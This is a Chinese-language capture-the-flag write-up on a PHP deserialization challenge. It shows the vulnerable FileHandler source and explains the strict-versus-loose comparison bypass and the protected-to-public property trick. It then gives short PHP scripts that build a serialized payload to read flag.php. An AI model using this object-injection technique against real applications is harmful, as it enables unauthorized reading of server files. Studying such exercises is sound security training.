题目上来直接展示源码:
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| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
经过分析得知基本流程为定义op为操作数,1为写2为读,在读中分析,首先字符串通过GET以str引入,首先进行is_valid判断,判断是否存在不可打印字符,之后进行反序列化,在process函数中判断op为2调用read函数,读取文件名为变量filename的文件,将返回值赋值给res变量并调用output函数进行输出。
destruct魔术方法中会自动将op值由2转换为1,但比较类型为强比较,process函数中为弱类型比较,因此传入数字2即可绕过。
构造对应脚本:
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| <?php class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $this -> op = 2; $this -> filename = "flag.php"; } } $a = new FileHandler; echo(urlencode(serialize($a))); ?>
|
发现无任何回显,仔细观察流程发现由于类中的变量属性类型为protected ,因此序列化后形如:

发现在变量名称前出现了%00*%00,无法通过is_valid函数(同样的还有private属性类型,形式为%00类名%00字段名),这里有个小trick:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
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| <?php class FileHandler {
public $op; public $filename; public $content;
function __construct() { $this -> op = 2; $this -> filename = "flag.php"; } } $a = new FileHandler; echo(urlencode(serialize($a))); ?>
|
传入即可拿到flag。